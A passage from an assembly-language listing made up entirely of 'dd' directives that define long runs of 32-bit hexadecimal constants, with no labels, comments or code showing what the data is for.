2DD46BA9h, 397C8021h, 267474C3h, 56F64DADh, 278A9B8Ch dd 0DC7CF16Fh, 945F2856h, 2B494CAAh, 792A9A3Dh, 7C67624h dd 4C039F8Eh, 0AC723EB3h, 24AD2E1h, 0DA65C658h, 2C51D2Eh dd 87F5198Bh, 0E56A3BE9h, 97F9DC12h, 0CD390141h, 35DD9147h dd 0A86D98ACh, 0FA69A381h, 8278A42Fh, 8EC8C71Fh, 891AFDF1h dd 482067C5h, 4F2C1E8Ah, 7732F3A3h, 64057158h, 0FF909D61h dd 0E7077944h, 0F7ECA071h, 0D38047A0h, 8F359F41h, 0FFA7E0FDh dd 0A495E717h, 0B6A3298Dh, 69E3FADh, 55713C0Bh, 92E4A685h dd 63BB351h, 69F06548h, 42BBC022h, 4454AD70h, 498FC401h dd 0A9762FD2h, 2D36DB7Eh, 0CF039EC9h, 0D8D776F2h, 0F68FACCDh dd 33BF7B2Dh, 71413C40h, 0ECE2FFEAh, 0A2E1657Fh, 0D0212FD3h dd 9EBE1DEFh, 4E51383Dh, 42136C59h, 79F13B0Bh, 9A6ED69Bh dd 434E5ABBh, 80794FF7h, 0B1964613h, 31AD1806h, 143EC40Ch dd 3A7263FFh, 14B3CE52h, 0EF4357E6h, 3508DE0Eh, 0E9F91C17h dd 2CEF2B74h, 0E2A430EDh, 51C81272h, 0C4897A0Eh, 99B22555h dd 0E7F13FC4h, 2FAA6EDBh, 6E841DABh, 0ABAF871Bh, 2368A05Fh dd 3F40425Ah, 72A8B919h, 974B6492h, 97E13CB1h, 243B0799h dd 43DB9FE8h, 3F8C527Fh, 2F7D41E5h, 33908F93h, 0C52C72ABh dd 4BEFCA74h, 0CD9B9FFh, 6EA8A7B4h, 0E88BB8FBh, 974B55CAh dd 1EA56ECFh, 8AF47C55h, 2685BA5h, 4076B02Eh, 2BB32E8Ah dd 1BA62E67h, 907C3DD6h, 0B7AA3D36h, 0B95742A8h, 0B41DC095h dd 69A309CBh, 49B11633h, 43144D0Fh, 0FB1988Fh, 159781CAh dd 18610333h, 0B91FC4A2h, 41151156h, 2F3BB06Ah, 94373A4Ch dd 2F7400BEh, 0CBFC0EC7h, 1774C008h, 0D302618Ch, 0D2D482BCh dd 0B7EF8925h, 0E79E273Ah, 67A9869h, 4A8186F6h, 1AC05D20h dd 0F447C576h, 48F91E7Ch, 28A5B85h, 76C7E27h, 613B6FDDh dd 28140453h, 92DA4478h, 4F19B2E6h, 0BFDAEF08h, 9142A99Dh dd 0D648FEC6h, 9F818E2Ah, 79516AA5h, 0F3CB6E81h, 85CAE88Dh dd 0D04FCF6Bh, 72F3FE0Bh, 20826AA1h, 73F074A2h, 53225286h dd 0A256F878h, 6A2F0FE6h, 0DC5CD271h, 42692CC6h, 0CB2E4524h dd 0A9569463h, 5B742DC6h, 0EE57E149h, 0CBF1B8A8h, 9857A659h dd 0FBBB4A9Ah, 8BA763FAh, 253F8A9Dh, 0F60AFE0Bh, 5A5E605Ch dd 54169980h, 4A046323h, 538124B9h, 0C328EA2Eh, 0BFB8F3E4h dd 31FF38E8h, 7A3E0AC4h, 0E0ACD827h, 37589008h, 8129A434h dd 0B2E965AFh, 2B172DBDh, 0B5AAA94Fh, 397036D6h, 0D7916FBEh dd 0CEAE45C1h, 96576E28h, 14FD90B1h, 0FB56DB8h, 5AB7BD22h dd 0CF2637FFh, 1CC93FECh, 8F710E8Bh, 0C42A83CAh, 0AC3DA307h dd 87CB3C1Eh, 0A654CB63h, 23CDA3E0h, 6DD5AA4Fh, 0CDA704DAh dd 0D76409CEh, 911EE174h, 0FE9C29Fh, 93560AFAh, 6C330176h dd 4BFC38FBh, 0BED45CF6h, 74E3CADh, 8930D561h, 1C8CE5ACh dd 32ED5AD1h, 0A473331Eh, 241DA6F2h, 0D27B860h, 0F94096CAh dd 0C13A2036h, 0B82761AFh, 49567A16h, 5BDBA7DAh, 0B27A7257h dd 8D504B53h, 0A91A1207h, 1ECCF9F3h, 0E44CFBF9h, 0C00CAAFAh dd 0F89D5ABFh, 0E76F3576h, 0EFAAFF3Bh, 0F63C9CA8h, 0A1093DD9h dd 135E472Eh, 0D21C2D09h, 15A0AB66h, 25D013A2h, 0D05880F9h dd 48BA7D7Eh, 0C8D601B5h, 95A841D3h, 60FA5F57h, 8999FEDAh dd 0DF029BB2h, 75DF8E3Bh, 2EDF7546h, 0A890CEh, 0ECC2564Dh dd 0F2BB6A19h, 2FFCE63Eh, 0F86CD763h, 0C5C3F21Bh, 0AE752847h dd 4348028h, 338DB985h, 0DE866014h, 398C0C90h, 9F6C9480h dd 0B65243FBh, 210B127Fh, 824281E0h, 0D16F0A43h, 5B72895Ch dd 0C7D63EFh, 46BED00Fh, 57B04083h, 0DE3AABF9h, 0A70BFBC1h dd 996CE73h, 0BA70E7FEh, 0B35B3E7h, 9875FB0Bh, 2AADD64Dh dd 34F0E269h, 46FE3A31h, 4F877083h, 0ED253C4Fh, 5FAD5B34h dd 3BEA36A5h, 0A50902EFh, 8734D878h, 6DC0EE60h, 4C22DB8Fh dd 0AB2E45B6h, 84A5F460h dd 0EEC7283Bh, 0B604F918h, 0ABC12031h, 0B2C42FF1h, 0C11A966Bh dd 0A5027AE2h, 9E1C67A0h, 2F7D1045h, 0A8E754FDh, 6B790BA0h dd 56B04ADh, 63C823E6h, 0C051815Fh, 7823B604h, 0AB4785BCh dd 0BE96F8Ch, 0C0C17337h, 0D9B4833Dh, 0E78E0AA4h, 0AC27EE93h dd 11B2AC29h, 0AE3F8921h, 29F3C636h, 423B862Dh, 4B5EE250h dd 0A3A7A164h, 0C73B5C5Bh, 1ADB6EA8h, 7026E18Fh, 566935E6h dd 0D6CF2449h, 82A53352h, 601C609Eh, 9F797D48h, 0E8EC7647h dd 347A6B72h, 4425E42Ch, 8B7CD9E9h, 0A3DF2EB5h, 4DB4C2E8h dd 76207F50h, 0BF1399E1h, 6BB9842Dh, 0C5988B46h, 0FA18D6ADh dd 0C0161367h, 0DC2A105Eh, 0BA1CFD3Fh, 51CC2503h, 0A3EB69E9h dd 57CB997Fh, 522F3A01h, 0E76AFAD7h, 473F2831h, 0BE8FE713h dd 0DDF8FFC3h, 13B88B21h, 5BB67BB0h, 0A6B9C539h, 71E286E0h dd 9EEF5125h, 16AFADBBh, 1B1F39FEh, 0A1D41369h, 0E7A9C07Eh dd 0A16B827Ah, 714832EFh, 0AD2822A9h, 80164849h, 562FAAC2h dd 0D18CFCBh, 65942374h, 0F8B7BE02h, 1B86DD0Ch, 4C5C7C04h dd 8169FDAEh, 0C817E9A5h, 4A3E49A5h, 0B3FC952Ch, 813208A6h dd 0C788753Dh, 0E9145AF9h, 0CB5E3C97h, 0AD6296E4h, 86EA4FC3h dd 0D94CA150h, 3D7DED88h, 170D602Dh, 0B5BE3ED9h, 0EB2E66CDh dd 6F31E7EDh, 4C4B4D44h, 36D62A0Eh, 315293A1h, 0EF63A789h dd 0B95C72C1h, 0E75EC59Fh, 9D70E629h, 0E398B0B8h, 0B6EEA2Ch dd 0B17F4426h, 73F87219h, 8FD48024h, 35047B2Bh, 480F513Ch dd 2DA9BB31h, 88D84CF6h, 0A389C7D3h, 0D16982C4h, 613C7E3Ah dd 79249C2Dh, 0FF227197h, 0B584F020h, 0D3699CADh, 0B40144E1h dd 28403517h, 0B8B675CEh, 0D54D0DE5h, 19E3D9B6h, 0B2965DB6h dd 17549D20h, 6092ADC9h, 0D2CAA266h, 915845C1h, 21D54018h dd 4DC30112h, 1EC50BD9h, 4C264C96h, 0B467DEEh, 0BB3D7F95h dd 172AC9B7h, 0C7113F43h, 5CC61BCEh, 4462C475h, 9A9A5D3Eh dd 0E72533E4h, 0FA271A26h, 0EA19B0ACh, 5C239E25h, 5F81AB1Ch dd 1AED624Bh, 0ED4F4C6Bh, 0DC6FF763h, 5AD085B5h, 8F16F65Ch dd 53BE5B9Ah, 7103D17Ch, 17142CB5h, 6B851338h, 91F7073Bh dd 3EC1563Eh, 0BC2F108Eh, 43118E29h, 0B0898BE8h, 380F7F3Fh dd 0CD1B6DCFh, 0A19C345Dh, 0A8D4788Eh, 0D03CD0Eh, 287972ABh dd 60037E04h, 6F2FD7BEh, 0B768591Bh, 6D01B240h, 785B05CCh dd 6212E351h, 0E0F5E0F7h, 81BB978Bh, 0E4715721h, 45571AB0h dd 8BD50AAh, 65254B8Ch, 0CEC04BE9h, 0D1A7A6CFh, 0E6078F1Ah dd 0E8FCEA55h, 83199E55h, 0EDE06A57h, 87B1D463h, 4C6B302Ch dd 9BD6A586h, 0A6769306h, 0C46D5BA6h, 870D60Fh, 947182Fh dd 7C8AA00Fh, 122D5378h, 0CB9CA826h, 8D23839Eh, 713D07F2h dd 86C63C67h, 0E038675Dh, 0D766B977h, 9DD55E9Bh, 0DD945071h dd 64DA8EAh, 0D9C773E1h, 0B30B9FF3h, 78AFE5F9h, 0D1643E32h dd 5C623864h, 0F3B12A60h, 0C8020B0Bh, 0F049093Ch, 4D8EECC8h dd 2B21887Ch, 0E330DDEEh, 0E119A591h, 88D4AAB5h, 58204B58h dd 26007C9Fh, 0BD1D5378h, 8B775529h, 4ADC28C5h, 139AAA14h dd 7752FC67h, 2BD154B6h, 0D23755C1h, 4D2182B7h, 7DA333A9h dd 18A823B5h, 935A6C57h, 0E8F6AD02h, 0E6AEA2A5h, 0A5250626h dd 0A9EF3F5Bh, 26F652B1h, 76EE6939h, 0E20AF2CBh, 9094292Dh dd 3F87F497h, 0B3F8F9D9h, 0EAC6246Ah, 8620BB89h, 40CE60C9h dd 29CE80Ah, 60EAD742h, 0E7181BA9h, 1BD01C60h, 7C882668h dd 83A04268h, 0DEBAA022h, 3131F7C1h, 7E17DED8h, 0C813068Fh dd 0D5BDB26h, 1206C6A0h, 0BE52E5D7h, 5ED26F13h, 0D831E410h dd 32F3EF42h, 91E78684h, 4326A36Ah, 356B9A7Dh, 0C1DD2028h dd 0EC2959E6h, 0AB6C9E8Dh, 53DE651Dh, 152E2828h, 7EF05FFFh dd 0A80C44D3h, 982FC2E3h, 9D11BAB5h, 38954E22h, 0FABA0C8h dd 0D769DDFh, 7D5B2C72h, 0CCA2D502h, 35E696B8h, 0A8270C38h dd 96A3E9A0h, 3D5FF448h, 36AEA13Fh, 804E52DCh, 60948B09h dd 31F413C6h, 0A6494AB2h, 781EEE96h, 758F49F7h, 4C19DCB0h dd 0B33C6FE9h, 42E7C5D4h, 763784Ch, 1CF355CBh, 433C0A0Bh dd 0B8D8C6AAh, 2A1D8BF8h, 5582E7C8h, 444B5253h, 88FE4B72h dd 0AE26F7FCh, 8A96CA77h, 0E3CDA87Eh, 0FA20690Bh, 0EC26A24Bh dd 51B7DFD8h, 51A4E3DAh, 0A42C6001h, 0DB64DE7Fh, 0FCE91BF8h dd 6064A1E5h, 4B9C4EE0h, 5A018852h, 0B40DEA27h, 887E3B87h dd 38844070h, 27E87984h, 322867C1h, 0D67DA79Bh, 9C7C5D80h dd 0BCAF8B9Eh, 5A5829C3h, 155EC681h, 674EBB17h, 25137471h dd 0F99572F6h, 0F5046E11h, 0E7959341h, 0DBF444C0h, 868D3AA6h dd 0D725ED57h, 51AA79A6h, 0EEB08B5Ah, 0AC5F8B56h, 779278C2h dd 0B1EEB968h, 2B958B07h, 0FA2CF99Bh, 0AE6C59B0h, 1B304FDDh dd 5FA310Eh, 20BE9405h, 1B90939Eh, 0F7CB6A99h, 0B2F2D526h dd 0E6B8678Bh, 7ED04965h, 9AE0626h, 63FBE173h, 470931BDh dd 4936EE34h, 91E8A5ECh, 0F7C7933h, 48032037h, 0CBD3F1CDh dd 196933Fh, 37AF6448h, 0D7461035h, 32974174h, 3C30102Fh dd 0B1E4217Bh, 0C4F82F35h, 6480073Ah, 4523F12Ch, 959B1026h dd 457506BDh, 0C088DA0Eh, 1DE577EEh, 66E84B10h, 1541490Ah dd 0A0BB990Eh, 0D69E45FBh, 0C3EC8360h, 756698B6h, 0ACF15FFFh dd 0EDD614C2h, 9EDF6FD8h, 0BC155B12h, 39798555h, 724E905Ah dd 8243D9CBh, 4D7E5E2Ch, 388C412Dh, 0CA6C014Eh, 0BD7FFF3Bh dd 8B262C40h, 0CB7A77Ch, 651F3695h, 9C6FEFECh, 0A951DD5h dd 4BDF2720h, 16068CC6h, 0E93F8F7h, 0B6B806F2h, 0F68244D5h dd 616D9A12h, 0A09DA256h, 28B305C2h, 0BF72F206h, 0AC90C718h dd 33BA8153h, 619ECBA6h, 684D1295h, 0A8EA7700h, 0DBE151C0h dd 7EB952ABh, 0CA23BF77h, 0C2667CBCh, 9D5CCDCFh, 92D3B96h dd 4A6FB56Fh, 6F0CFF9Eh, 0CE178CD4h, 954B2DE8h, 864B1E0Ch dd 78BBB31Dh, 688B4696h, 0BE213483h, 257E993Ch, 29782AD4h dd 4D41FF1Eh, 2230A3E3h, 6215E627h, 0ED08A198h, 9B06955h dd 0BFFA240Eh, 0A83EEE30h, 4F93632Ah, 275B1B71h, 518A4229h dd 0D91E97Ah, 872E6FBEh, 0FAAA38D1h, 0A001B851h, 0C9B5BDE1h dd 0F402C0DAh, 0FB5FD120h, 5E800237h, 0F2B40110h, 0F079057Fh dd 2E3489FAh, 0C0220913h, 642D120Dh, 0F2840FB7h, 0CB947C1Fh dd 788E714Fh, 996AD315h, 4626EB7Eh, 4F95EE4Fh, 0E291788Fh dd 0DE73D10Fh, 81853E60h, 2313251Ch, 0AF967AEEh, 9551577h dd 8A65E486h, 0D6606A24h, 6167F303h, 8C0E4D7Ch, 4E588793h dd 0C0DE0A90h, 0B236595Fh, 0BF3A9773h, 377CC7EDh, 0D46F0917h dd 228B5025h, 47949D8Fh, 0AE81BD5h, 0C403885Ch, 5FB66FEAh dd 391C951Ah, 3F2D17B4h, 133BDC97h, 2C5EDCB7h, 6E6CEAECh dd 6BD08AF6h, 4DBD3E60h, 0B5ADDB27h, 8A027352h, 9181226Ch dd 4C30928Bh, 818121Dh, 48C280EEh, 5FFF8DB5h, 1A6D90C3h dd 0CCB1EB18h, 0C45FB2ADh, 0FBC3C3B3h, 7E1277F3h, 8B525FC5h dd 18AE1A47h, 23FA4062h, 75B2B4B4h, 0E2ED5038h, 23A70431h dd 9DA1E498h, 3CAE41E4h, 0F4C8E735h, 77BF24E7h, 50CC6AEAh dd 82C0FADBh, 70AB7554h, 0F078AE3Dh, 0D123C8D2h, 714FC268h dd 1B910E06h, 168964D6h, 0E082A99Bh, 24B400Fh, 193E7EBh dd 98F836C7h, 8EEB469Fh, 3B3B9758h, 0AD2DEA48h, 996BEE6Ah dd 776226DCh, 0A2BCFA8Fh, 0BB99323Ch, 0EC23708Ah, 7EA5F7B7h dd 533127B0h, 0AA5C09D9h dd 843A738Bh, 7566C7FFh, 0C2B37120h, 0EF7533DCh, 4D38D7EEh dd 4AD9A177h, 0A58C0066h, 0CB1538A7h, 4859962Ch, 563B7CFCh dd 169BCD37h, 26328794h, 0CC8D4687h, 0A3AF62BBh, 926E0ADFh dd 0D91C0667h, 1949344Ch, 91B836D3h, 8AE30C6Bh, 1D826F49h dd 0D54C7889h, 192C8C2Fh, 0C6D83FBAh, 0FE31066Dh, 7E0C3F4Ah dd 5A227DC3h, 0EDB798A9h, 35C31D79h, 91D73918h, 0C095192Ah dd 86B328B7h, 7A738A32h, 80135727h, 0AEB998E6h, 537A4BE9h dd 0FC3AE14Ah, 0A1AAC7CCh, 4BE2B700h, 0EAA31FB0h, 16F963E0h dd 0C5EAC383h, 57B9D08h, 86DC6E62h, 0A65E0754h, 89EAE84Eh dd 0CA7A338Eh, 0FD28ED47h, 860D1EB5h, 0B6511CF0h, 0B38F5472h dd 965B68E4h, 18D054A0h, 0AAFC2987h, 2C469526h, 8F4961DEh dd 0CFBE760Dh, 3A0F33A9h, 0FD4F9B43h, 37148C9h, 21F1405Dh dd 2E0E9906h, 490D70F2h, 9EFC1B1Ch, 0DD276F7Ah, 0E3BEAEE6h dd 70B5B131h, 0DAF439E6h, 0A9068819h, 4F30773Ah, 0F94C695Eh dd 0FAA34957h, 21A94ECAh, 34EF1A8Ch, 0FEE266ACh, 7B0570E6h dd 0F1C91F87h, 0C261F696h, 0BC3B126Ch, 112C9291h, 0BF91C653h dd 786DE9DFh, 9D297F0Dh, 636C56EDh, 4501086Ah, 0FA9B9BDBh dd 6A1CCC67h, 54C28054h, 0B7827A3Bh, 0B2FF5297h, 0A14F6005h dd 326DCF4h, 0A0D52427h, 2BAD060Ch, 448E1729h, 5594D4D3h dd 54E12FFh, 85A7EEA0h, 0BA817F0Eh, 0EA56CECFh, 0A0C89F5Ch dd 8DA5EAD6h, 52AE7B93h, 974D98A4h, 0E8887C4Ch, 0C17BD1BCh dd 727903C5h, 2FE9A818h, 0EE23DD60h, 0D21ACA0Bh, 2773E29Bh dd 0BD629475h, 0AFCBDE4h, 1C153D83h, 0E38598Dh, 37516D8Ah dd 94E6D404h, 34290F0h, 39B30E03h, 33DAE5B1h, 64691C03h dd 0DBD6D39Dh, 0C0CC9F9Ch, 59998419h, 31F7A3E5h, 0D7C9518Dh dd 5F04685Fh, 796BE98Bh, 0F279ABCAh, 0B8C14DEBh, 9B1D180Dh dd 26640C9Ch, 0B262140Dh, 3E7271CDh, 26E87973h, 0C5389111h dd 9C08306Ah, 9EBB6CA2h, 0F4CC567Ch, 0F0B32BFEh, 0EE0B00CAh dd 0E8D13869h, 0B15BF16Bh, 81F35C4Dh, 0C73DF1DAh, 7884E702h dd 242BB2DDh, 48601B1Bh, 0B6CFDE3Eh, 0FD8BB259h, 738003Bh dd 0CA3F3835h, 9AF48203h, 0D1F1321Dh, 9B286A4h, 4800A062h dd 58A64AE2h, 822DD498h, 94419921h, 0D45A59BEh, 0DDA15AC9h dd 0DE24FD5Ch, 0AC1D15EAh, 72F3AD9Bh, 6803638Dh, 0AEB917BCh dd 7B33A804h, 4D235AF6h, 0A16E1BDDh, 0ABC60327h, 1D5A151Dh dd 0E35C53B5h, 84A8C2CBh, 0C5FB532Fh, 73CF4AC4h, 7805F6B3h dd 95ABABB1h, 0ABF694F4h, 0D93F3582h, 0FF07A1A5h, 0EDB3D7CAh dd 5306103Bh, 0EE491FADh, 4BA06278h, 0BCCD984Bh, 0E16A59B7h dd 0B461D57Eh, 0CA80A4A7h, 6833851Dh, 1FBB8555h, 0A0CD4471h dd 0CE82463Eh, 99878CD6h, 990DFDD3h, 0D2A1374Ah, 0D31C3BA7h dd 0B9747E0Ah, 5E61701Ch, 0E51A82EBh, 23C1E77Fh, 9313C600h dd 0A4D2F3BDh, 7E3BC58Ah, 0D1331163h, 21742A10h, 0C36FF3CCh dd 6F1E459Dh, 912AA11Dh, 4C405AEEh, 98BED400h, 167DED52h dd 0ADC47F43h, 0BE1C9A09h, 48C05160h, 0A5893E2Ah, 4B9B7AB5h dd 26D54825h, 373008F2h, 5AE25CDAh, 45036AC2h, 0F1E62D7Bh dd 0E7FCDDAh, 0D755A90Bh, 0DB35056Fh, 0B19208A9h, 10297341h dd 16A69E82h, 86E9BD2Bh, 0FFB2D72Ch, 7B7F9EEEh, 62D80A3Bh dd 0D929871Fh, 0FC2C8668h, 46299311h, 94C02B60h, 5FC67ACFh dd 0C1E24B8Fh, 33A2AF50h, 0A36B350Ch, 8C0A9C07h, 49455586h dd 2F1BBB78h, 76246E80h, 67D7026Bh, 0E3099F01h, 8C2E853Fh dd 4A9B09B0h, 5108C8F3h, 789412Eh, 58792CB2h, 6FE3D81h dd 70D716BBh, 0C302C258h, 0AFD3ACAh, 4E823893h, 0D7C9D015h dd 69000880h, 66207A44h, 0CEB76DD3h, 7389C628h, 0B343640Fh dd 0CB408D15h, 4806CA2Eh, 0E53167AFh, 0D03683FFh, 0F1BED115h dd 46484117h, 8436AA99h, 92008B5Eh, 846F96E3h, 28EEB8D9h dd 0EE4ADB4Bh, 9C6D767Dh, 0A0F7D1C1h, 0E66AC969h, 996E1F56h dd 297545BAh, 0B97D4951h, 0E9D67724h, 2AB8F2CDh, 0A5B02E0Ah dd 83E7A7B1h, 5F091A35h, 40871A4Fh, 79EFE8FDh, 0D988934Ch dd 9FF2FEBh, 31567915h, 0C205CC2Bh, 9F66FEA6h, 77552BDFh dd 9E6E83F9h, 0F2D773B6h, 0F7A313C3h, 0C7B96A73h, 97D49CADh dd 0E72605F6h, 15A2E89Eh, 0DDFA119h, 3D28E5D4h, 3B7678D4h dd 0B131EE5Ah, 0A2F806E7h, 91563B6Dh, 0DB6BA628h, 0B196C007h dd 2B44AAA9h, 83083A4Ah, 4C126403h, 0D887406Bh, 975ED9ACh dd 0D80DD01Dh, 4A43041h, 0FBD0B4A4h, 0B8DA3AB7h, 0F24CC702h dd 88FCDE3Ah, 0FAC6DD2Ch, 1AB9ED74h, 76378CA5h, 25E4AE73h dd 12C269C8h, 9DC1122Dh, 25B69B51h, 581DAE54h, 59890D59h dd 6DE1289Bh, 33F714F3h, 0BB8DBA77h, 4C07F62h, 1D118794h dd 7E6B6B01h, 27E8F35Bh, 48C7E2Dh, 7732D941h, 0DA70FB13h dd 2D33BCDBh, 465DCFF4h, 8DC378CBh, 0CC65F24Fh, 6FADAA39h dd 4D7AC8D4h, 3AB9A3F4h, 0E6F2113Eh, 0F0F81369h, 41D2E217h dd 0ABDBD014h, 9BEBF3DEh, 2774E77Ah, 0FC66919Ch, 77D1CBCBh dd 0AC93AC16h, 432FBABCh, 0C834BA31h, 9442010h, 0C8F1FE37h dd 96BD947Dh, 0BACC50B9h, 3AFE734Eh, 7C41F828h, 1822E1C1h dd 0EE28FEAAh, 0B6E4A6AAh, 307F2D34h, 295AB3C8h, 1F8B9F05h dd 5860EA18h, 0B65122CCh, 83334BDBh, 0EA656BBEh, 1E21D663h dd 0DCB16926h, 0A2461C97h, 0C7D1BD2Fh, 5A06C3BAh, 2E01B5C1h dd 0E4626DCh, 73346595h, 0EBF410C7h, 0BEEE5882h, 4CCC4C9Eh dd 42D95CCBh, 14DD1D21h, 0EC3D5BFEh, 616B25BEh, 0F5149A67h dd 0EFF0050Bh, 7B23681Fh, 0EC3757B0h, 0F9CF0C1Ah, 44D65E01h dd 0AFFA142Ch, 9465C6ECh, 14CB48D3h, 33757A9Eh, 0D709A0F8h dd 0E562456Bh, 5B385D3Fh, 0F49AA825h, 184749FFh, 945D813Eh dd 0EF25621h, 0BDF97B43h, 0FFEB8BDAh, 0DF542316h, 0DCAACA40h dd 0D4928B73h, 0AED72EB7h, 755AE4AAh, 7357FE19h, 9ACD2F3Dh dd 307CEACh, 0C8D63900h, 0A2DC2741h, 35CA4D3Ch, 54EBFFA2h dd 0AF8A78E3h, 0E14A9F9Bh, 592A92DFh, 736C3201h, 77730BCDh dd 4232F036h, 0B3082742h, 27CBD150h, 0E42182F2h, 0F88AEFD0h dd 0DD8924Bh, 0DF223F91h, 190CAFFDh, 205FD295h, 2DC57744h dd 415F283Fh, 8042AF91h, 56388E93h, 0C3D5AF55h, 3014AE38h dd 0F81ABBD6h, 1496C9C4h, 0D9D58BEEh, 0C8BE3044h, 0F43674D9h dd 0CE58209h, 312394DEh, 7F05D41Ch, 7CE35A62h, 9FD33285h dd 0AE63D19Dh, 0B55B0A87h, 631478C5h, 0DCB9A7FDh, 6CE256AEh dd 0C05042F3h, 2CA6CFE3h, 2914C0BAh, 1F77188Bh, 0B76019Fh dd 9ACD930h, 0C8901907h, 0F601E9F1h, 0C79DE63Ah, 5928C6D9h dd 0B901710Fh, 0E4372413h, 0A77B6A4Dh, 0FAE07D8Eh, 30A72855h dd 8462AC5h, 0CD935D26h, 381A381Bh, 1A01B51Ch, 45E66701h dd 5DB0233Ah, 0AF48B2A9h, 69A20A65h, 865BE54Ah, 0DE88E402h dd 0A2103BF5h, 0C892F7F3h, 0D1EA77C2h, 3DE69BD6h, 2034C38h dd 218CF609h, 0F22F5C31h, 0C6D95F8h, 577269D4h, 0F031F925h dd 9C2C8EC3h, 8B5352FBh, 5F5F261Ah, 2297F0EDh, 0C6815C23h dd 2E4B09h, 0D714ECDDh, 0E3D4BBE0h, 0A1CEB3C8h, 9D5E0C08h dd 0D4C17313h, 99578028h, 58C975C4h, 0CA3BD894h, 6D97D7F0h dd 93726748h, 77829247h, 0CF233576h, 5C6C6B64h, 0AD801689h dd 78063148h, 0D691E926h, 2B005C5Dh, 80546580h, 0EBD13E9Eh dd 226E0AD6h, 0A26EE52Ch dd 5E1A276Dh, 8787F7Dh, 4357E60Ch, 0C8FCED2Eh, 86FF2789h dd 9CCFB679h, 8497004Ch, 3CD26223h, 9A580E1Ah, 6D1ACAFEh dd 83F7BF0Ch, 0B7F78814h, 3429421h, 3E06A234h, 8FBA2BFh dd 61F88BDEh, 86B54713h, 897A1A6Eh, 0E3EA4CCFh, 71AA880Ch dd 725EBD04h, 0F83BE364h, 55862D23h, 0DF03A0CDh, 161DB2Fh dd 0DED943F4h, 828784BCh, 2B9D5EE5h, 8BDAA925h, 36D74A0Fh dd 0B9A6FBE0h, 0C11EAF3Ch, 844BFC11h, 3757B06Ch, 0DCA9CAB3h dd 6309556Eh, 56FEC4DEh, 368634B9h, 95A5370Ah, 0A2AEE7C5h dd 0E5583892h, 45F41BE3h, 58B4903Eh, 696A595Bh, 839A092Ch dd 0B23B2CDEh, 0A94FFE5Eh, 904DB23Dh, 7B16A659h, 1D24060Eh dd 6321BC6Ch, 0A8CC050Eh, 0C94FB3D1h, 0A878D30Ch, 0F3D0DE5Bh dd 5F301C86h, 7FC127B5h, 9AB24740h, 65CCE048h, 0E43ABA08h dd 291BEB74h, 0E4F3903Eh, 0CDF3A260h, 0F8F1BEB6h, 0B8FEA587h dd 0C28B78FFh, 508FA85Dh, 0EAFAC3B7h, 0F557B305h, 71E05683h dd 66648F32h, 8409CCFDh, 0EA6AC645h, 0F558470h, 2A7A4700h dd 929415C3h, 0B5A74EF5h, 96F36E7Ch, 0EC6D1739h, 0E8E3F3ABh dd 48872121h, 0AC829BA2h, 0BC8F2608h, 0B6576DACh, 7606F44Fh dd 0B51DAA3Bh, 0FD390890h, 0F13E9B66h, 2683D1D2h, 5FA4E38Fh dd 0B46850BBh, 9BE86B12h, 91F4BC89h, 3C42DDA9h, 0C50E45BDh dd 0EF839B8h, 2C508D0Bh, 0D71042C8h, 78216877h, 17F3D18h dd 9D1A6EDDh, 382E2C6Dh, 2C6EB0C9h, 8831AA53h, 6839F8FCh dd 0C249796h, 0D49A6D54h, 0EBB1632Ch, 3355F293h, 0A54F7E4Eh dd 0F51D5C51h, 0A06116FAh, 0FADACC68h, 5483150Fh, 66DACCB8h dd 18510C28h, 2ADA1DD4h, 683A4D8h, 14D66EAAh, 511B6CB5h dd 0E38EAEA5h, 4AB49457h, 1F6EF21Dh, 95569B41h, 0B5378FB2h dd 5882908Fh, 38274330h, 33BCCFE1h, 84FE906Bh, 0D2467B6Ah dd 0D009EA2Ah, 31F705B6h, 324FDFF1h, 0C1478F5Ch, 19366FA7h dd 453E68A0h, 0B9958FE1h, 0D5AC7CBCh, 0DF30AC08h, 1566EE68h dd 37130276h, 39C93B13h, 2E25ED5Ah, 38B826FEh, 0BD730F8h dd 2F95F26Eh, 334922AAh, 8C473D10h, 0CE4AC64Ch, 0F4B702D2h dd 0A231A980h, 0AAFCDF5Dh, 215D9804h, 0A353E03Ch, 0DB1B702h dd 0A462857Ah, 858218E4h, 57F14E61h, 233ED68Bh, 0F85A3821h dd 204B2F5Bh, 4B82EA76h, 4149A812h, 8F43ED04h, 0E160BEA5h dd 15EDEA7Ah, 24A14C3h, 873BD5DAh, 7EE67B5Ah, 0E2BDC08Ch dd 9B3BB1B8h, 0A3C51E0Dh, 0D46CD594h, 0FB7D0D40h, 36763F71h dd 2FC35753h, 0E3DF4C70h, 0FB4E7AA1h, 0EBDEB9D2h, 1F601C8Bh dd 8CDA673Eh, 0F884F239h, 0F44F2690h, 51BB92B1h, 117F0772h dd 91A78301h, 0BB9C110Dh, 79C1015Ah, 2106E690h, 3137F4F9h dd 4E2715DEh, 4250FFB1h, 956CEF11h, 6BF966A3h, 3EF4FF26h dd 0C79A4625h, 581E7788h, 0CA8FC343h, 27C3117Eh, 74B11502h dd 76DD76D0h, 0D412018Dh, 0AB7C9A26h, 9593DEB4h, 664AC1E0h dd 917B0603h, 6662B27Dh, 71D0073Ah, 41546D52h, 1B80D71Eh dd 6A9C57D2h, 2C95A463h, 813D6D3Fh, 54CCF00h, 0DD6CDB5Dh dd 0A9C5B609h, 0D6D31364h, 82153D7Bh, 0AC0E3D18h, 82657C2Eh dd 41067991h, 0E73DD51h, 6D06E28Ch, 0E03014D0h, 0E450EC03h dd 3FB5C8B2h, 60A5D71Ch, 0AE7D6E2h, 23F9A4E7h, 0E6F5E937h dd 2D5FED7Dh, 2652BB94h, 0D5AC779Ah, 61116EDh, 0B92CA5C4h dd 0F1C78CEAh, 0A90F96B8h, 680EA955h, 0F96D7915h, 0EA52202Eh dd 3AE47029h, 7CF8CA22h, 0D5A2BE95h, 369350A0h, 0E10813F1h dd 5033861Ch, 69C9AA6Fh, 0C5D45B9Ch, 210DC721h, 2F2078E4h dd 0BF900D5Eh, 51F194B9h, 0C732A259h, 0AD5BCF38h, 0D88F2C93h dd 0FF63E840h, 6D770386h, 0BE02E551h, 8EA1D515h, 99DFD644h dd 5FC40840h, 2672515Dh, 0CFC8BEh, 0CE503150h, 2E40B71Eh dd 435F2FC3h, 0D8F19A6Ch, 32C55FC3h, 6646546Fh, 0E1F7215Dh dd 0F1829A80h, 0FB6A6078h, 643BFB58h, 0ADCA8BA3h, 4685EC4Dh dd 2DD0A9D6h, 0D33050F7h, 0ABAD55E0h, 1EE828ADh, 5BC16535h dd 83536966h, 9590D64Fh, 21BACB2h, 0C00D9548h, 7B9B2655h dd 44BD886Fh, 4C9711E6h, 4E775D08h, 